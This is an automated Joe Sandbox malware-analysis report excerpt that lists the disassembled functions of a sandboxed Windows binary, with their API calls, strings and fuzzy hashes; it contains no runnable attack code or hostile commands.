Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: c50d11feebccec16051ffb941881a0fa0529e815cb1a698d6f247e90325025e6
Instruction ID: 5cd38d227a1fec0899574f4a450e652d90489f68241158d4b4f6e5edb63c9903
Opcode Fuzzy Hash: c50d11feebccec16051ffb941881a0fa0529e815cb1a698d6f247e90325025e6
Instruction Fuzzy Hash: F401A0326112229BCB324B79DC449D677E8FF05FB17910660F909E7341EB20DD81C6D4

Function 00B4BA6F Relevance: 6.0, APIs: 4, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,00B4B69A,?,00008000), ref: 00B4BA8B
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,00B4B69A,?,00008000), ref: 00B4BAB0
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,00B4B69A,?,00008000), ref: 00B4BABA
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,00B4B69A,?,00008000), ref: 00B4BAED

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: 9f79066df90d77f9b357fe97c49e2bcb020295aa42733f508db7f9ccecf58db3
Instruction ID: d900f5aa9c6d3b3c23b0dc265590f8d13061587b46aa386d294211cab6663e82
Opcode Fuzzy Hash: 9f79066df90d77f9b357fe97c49e2bcb020295aa42733f508db7f9ccecf58db3
Instruction Fuzzy Hash: 9C113931C00A29EBCF009FA5E989AEEBBB8FF09711F504195DA41B3140CF309650EBA5

Function 00B7886F Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00B7888E
ScreenToClient.USER32(?,?), ref: 00B788A6
ScreenToClient.USER32(?,?), ref: 00B788CA
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00B788E5

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: 931371feaa1cb61cee3d0c1331523d304464507444b78052068ed24d2a213688
Instruction ID: c8a46db2b17bfe6a5733d48bdae06dfb0abb16262a2360173381558918c09fc7
Opcode Fuzzy Hash: 931371feaa1cb61cee3d0c1331523d304464507444b78052068ed24d2a213688
Instruction Fuzzy Hash: D91143B9D00209AFDB41CF98C884AEEBBF5FF08310F508156E919E3210D735AA94CF51

Function 00B436F4 Relevance: 6.0, APIs: 4, Instructions: 34threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00B43712
GetWindowThreadProcessId.USER32(?,00000000), ref: 00B43723
GetCurrentThreadId.KERNEL32 ref: 00B4372A
AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 00B43731

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: 369da8a792fc22026cb0806e5b427d51efe1be2a3bbdc09c9781ae59be8ba6e8
Instruction ID: 6d83dd97d4d392aa598ab4cb0da94eb02a999b9e9c2d5303e530a5234a591d9c
Opcode Fuzzy Hash: 369da8a792fc22026cb0806e5b427d51efe1be2a3bbdc09c9781ae59be8ba6e8
Instruction Fuzzy Hash: A2E0EDB1601224BADA2057A29C8DEEB7FACDF56FE1F540055F50AE2090DEA4CA80D6B1

Function 00B792BF Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00AE1F2D: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00AE1F87
Part of subcall function 00AE1F2D: SelectObject.GDI32(?,00000000), ref: 00AE1F96
Part of subcall function 00AE1F2D: BeginPath.GDI32(?), ref: 00AE1FAD
Part of subcall function 00AE1F2D: SelectObject.GDI32(?,00000000), ref: 00AE1FD6

MoveToEx.GDI32(?,00000000,00000000,00000000), ref: 00B792E3
LineTo.GDI32(?,?,?), ref: 00B792F0
EndPath.GDI32(?), ref: 00B79300
StrokePath.GDI32(?), ref: 00B7930E

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: 8267620e1e4a264dbd5ccdcbb51a97c745dfbf5cd2d8f981d6c377600afbbc5c
Instruction ID: 2dd85d84849f3e785dd6cbddb16dc92cc8f5888abe107dff44759cd62e59fed0
Opcode Fuzzy Hash: 8267620e1e4a264dbd5ccdcbb51a97c745dfbf5cd2d8f981d6c377600afbbc5c
Instruction Fuzzy Hash: B5F0AE31005254BBDB126F54AC0EFCE3F699F09360F048141FA2D220E1CBB55551DFD9

Function 00AE21A0 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00AE21BC
SetTextColor.GDI32(?,?), ref: 00AE21C6
SetBkMode.GDI32(?,00000001), ref: 00AE21D9
GetStockObject.GDI32(00000005), ref: 00AE21E1

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Color$ModeObjectStockText
String ID:
API String ID: 4037423528-0
Opcode ID: a3f02c47dd6461417c8e8f0ad0351c769fadc76acf5a1c081bed8cbe61de4262
Instruction ID: 358b5532dd159a7592a268a38bfc5e5c0e26fe5c390ffa3f4d88dd3fda442e8a
Opcode Fuzzy Hash: a3f02c47dd6461417c8e8f0ad0351c769fadc76acf5a1c081bed8cbe61de4262
Instruction Fuzzy Hash: 87E06D31240280AADB215B74BC09BE83BA1EF12776F148219F7BE690E0CB7286809B10

Function 00B3EC36 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00B3EC36
GetDC.USER32(00000000), ref: 00B3EC40
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00B3EC60
ReleaseDC.USER32(?), ref: 00B3EC81

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 3736a6c4ec2fc2b9df1322a59640a1a3628f6c2cc0c62ad4dbb3e929733c0252
Instruction ID: aa5b2347cf5928e74817a8cd6c77e93285cf76472d2e208836eb9865f4ae9cec
Opcode Fuzzy Hash: 3736a6c4ec2fc2b9df1322a59640a1a3628f6c2cc0c62ad4dbb3e929733c0252
Instruction Fuzzy Hash: DAE01A70800204DFCF40AFA0C948A6DBBB1EF08351F108449F90EE3290CB389981AF00

Function 00B3EC4A Relevance: 6.0, APIs: 4, Instructions: 18COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00B3EC4A
GetDC.USER32(00000000), ref: 00B3EC54
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00B3EC60
ReleaseDC.USER32(?), ref: 00B3EC81

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 76ff01e6a894650201ef1679cb1adb87da683641c46d66ba2d43e10826e58d64
Instruction ID: 05d3785fbf652e62adf7e758bd19a8e19d9969a990581578a958ca3921039c31
Opcode Fuzzy Hash: 76ff01e6a894650201ef1679cb1adb87da683641c46d66ba2d43e10826e58d64
Instruction Fuzzy Hash: 24E092B5C00204EFCF51AFA0D948A6DBBB5AF58351B108459F94EE3260CB79AA91AF10

Function 00B557CC Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 230shareCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE41EA: _wcslen.LIBCMT ref: 00AE41EF

WNetUseConnectionW.MPR(00000000,?,0000002A,00000000,?,?,0000002A,?), ref: 00B55919

Strings

LPT, xrefs: 00B55840
*, xrefs: 00B55855

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Connection_wcslen
String ID: *$LPT
API String ID: 1725874428-3443410124
Opcode ID: 5754b4476c9f69ea5addede9151161ecd1c123a3c61400339a81ad689419631b
Instruction ID: 843725f7267da7e4a8c1538e05d25e0705c9d161ae752599812a828a734ac1cb
Opcode Fuzzy Hash: 5754b4476c9f69ea5addede9151161ecd1c123a3c61400339a81ad689419631b
Instruction Fuzzy Hash: BD915B75A00604DFCB24DF54C4A4AA9BBF1EF44315F1980D9E8499B362D735EE89CB90

Function 00B0E5ED Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00B0E67D

Strings

pow, xrefs: 00B0E655, 00B0E672

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 716185ef836ba3bd3e0dbc1dd402446f5ac5c452832da2d60476d2997bb77b04
Instruction ID: 08b6bdca0a142241fb8f2e5125e8f65c7459178642e3cbc1003fd7e04a96ebb1
Opcode Fuzzy Hash: 716185ef836ba3bd3e0dbc1dd402446f5ac5c452832da2d60476d2997bb77b04
Instruction Fuzzy Hash: 49514862A08102AAC7167714D9413EA2FE4FB55B40F608DD8F0A1522E8DF36CCE5DB86

Function 00AFA8EC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

#, xrefs: 00AFA916

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: 2d790d9ea45bc2ce699edf19e242760af709ed66cbbd68bcacd21486c4578399
Instruction ID: a257b4df2f2ef05f6d52b1b53697beaf6bd7be57ec3b6113d556e6e546466bad
Opcode Fuzzy Hash: 2d790d9ea45bc2ce699edf19e242760af709ed66cbbd68bcacd21486c4578399
Instruction Fuzzy Hash: EF51337560434A9FCB25DF68C481AFA7BB0EF25310F2480A5F9959B3D0DB749D82CB62

Function 00AFF6CA Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 00AFF6DB
GlobalMemoryStatusEx.KERNEL32(?), ref: 00AFF6F4

Strings

@, xrefs: 00AFF6E8

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: 0da6e0f2a0521da476d1f902c27edaaa2fae8ed225363fe75628594df5182761
Instruction ID: 1a2f17dc2b03f30913c8748e2376b177bdc22b62b5c2bb59fa48ee3ffe701ed3
Opcode Fuzzy Hash: 0da6e0f2a0521da476d1f902c27edaaa2fae8ed225363fe75628594df5182761
Instruction Fuzzy Hash: 705139718087889BD320EF11DD86BABB7E8FF84340F81485EF1D9521A5DF308529CB66

Function 00B661A2 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?), ref: 00B6623D
_wcslen.LIBCMT ref: 00B66249

Strings

CALLARGARRAY, xrefs: 00B66243, 00B66248

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: BuffCharUpper_wcslen
String ID: CALLARGARRAY
API String ID: 157775604-1150593374
Opcode ID: 13321f9d8ca7d5b73df7f11afd45b44406305e49eeca832446df05fab29707d2
Instruction ID: 22a303927056a24cd1184e747fda8fe475b58db2c3a5d9e69870f83343eaa1df
Opcode Fuzzy Hash: 13321f9d8ca7d5b73df7f11afd45b44406305e49eeca832446df05fab29707d2
Instruction Fuzzy Hash: 7441DC71E002099FCB04EFA9C8A59FEBBF5FF58364F1040A9E506A7251EB759D81CB90

Function 00B5DB39 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98networkCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00B5DB75
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 00B5DB7F

Strings

|, xrefs: 00B5DB50

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: CrackInternet_wcslen
String ID: |
API String ID: 596671847-2343686810
Opcode ID: e278f35e3a4b566763a1aac930ceae0fe8cd748fe944f7391b36bde12a084e7d
Instruction ID: 5acc9dee80068ed4e9e3a538536ff9c3cb5314e5aa9d033e6f733f69c80dec6f
Opcode Fuzzy Hash: e278f35e3a4b566763a1aac930ceae0fe8cd748fe944f7391b36bde12a084e7d
Instruction Fuzzy Hash: E4316F71C01109ABCF15EFA5CD85AEE7FB9FF04344F1000A5FC15A6162EB759A56CB60

Function 00B74008 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 00B740BD
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00B740F8

Strings

static, xrefs: 00B74058

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: d816919c59533e1f95ca21d52825cb9f375cb6831608bf45b502b77abd651b77
Instruction ID: 24c495ebb85ab2bc47c86c7cd01240f0daa196337c225d3c311edcbbfc07018b
Opcode Fuzzy Hash: d816919c59533e1f95ca21d52825cb9f375cb6831608bf45b502b77abd651b77
Instruction Fuzzy Hash: 3D317E71110604AADB24DF78CC80EFB77E9FF48764F008619FAA997190DB71AC81DBA0

Function 00B74FD5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000027,00001132,00000000,?), ref: 00B750BD
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00B750D2

Strings

', xrefs: 00B7502C

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: 049fd2ea2fe1710490007abaa3c6c6c9a47009ec93435902cf9cba95f4ce53a3
Instruction ID: 36a0016ecdb3ed0966f7427807dc16f873a27fc91b1034391bacf56c15b2154e
Opcode Fuzzy Hash: 049fd2ea2fe1710490007abaa3c6c6c9a47009ec93435902cf9cba95f4ce53a3
Instruction Fuzzy Hash: 8631F874A0170A9FDB24CF69C981BDA7BF5FF49300F1081AAE918AB351D7B1A945CF90

Function 00B73C8B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00B73D18
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00B73D23

Strings

Combobox, xrefs: 00B73CE5

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: 98e2639211c285d251df97c44242cf0ae8e26ce2040bfa5af17bab0c659185d1
Instruction ID: d7d086fa3df4feb7c4ce605191c6c64bac2ce0f2a93c99f87c028255e70d9f8c
Opcode Fuzzy Hash: 98e2639211c285d251df97c44242cf0ae8e26ce2040bfa5af17bab0c659185d1
Instruction Fuzzy Hash: 6011B671700208AFEF219F64DC81FAB3BEAEB947A4F108164F52997290D7719D51A7A0

Function 00B741AC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00AE7873: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00AE78B1
Part of subcall function 00AE7873: GetStockObject.GDI32(00000011), ref: 00AE78C5
Part of subcall function 00AE7873: SendMessageW.USER32(00000000,00000030,00000000), ref: 00AE78CF

GetWindowRect.USER32(00000000,?), ref: 00B74216
GetSysColor.USER32(00000012), ref: 00B74230

Strings

static, xrefs: 00B741F3

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 350de5eaea5e4ea52db73b7ef020a47417f52dfcb1ab3d1dbd0d1cf447fa8d93
Instruction ID: f9969ccf7e5c71aac9a9e11f66591eae0467c019391001f97fa6b13455c1715f
Opcode Fuzzy Hash: 350de5eaea5e4ea52db73b7ef020a47417f52dfcb1ab3d1dbd0d1cf447fa8d93
Instruction Fuzzy Hash: B0115972610209AFDB00DFA8CC45AEA7BF8EF08354F014914F969E3251D735E8609B50

Function 00B5D763 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00B5D7C2
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00B5D7EB

Strings

<local>, xrefs: 00B5D7AB

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
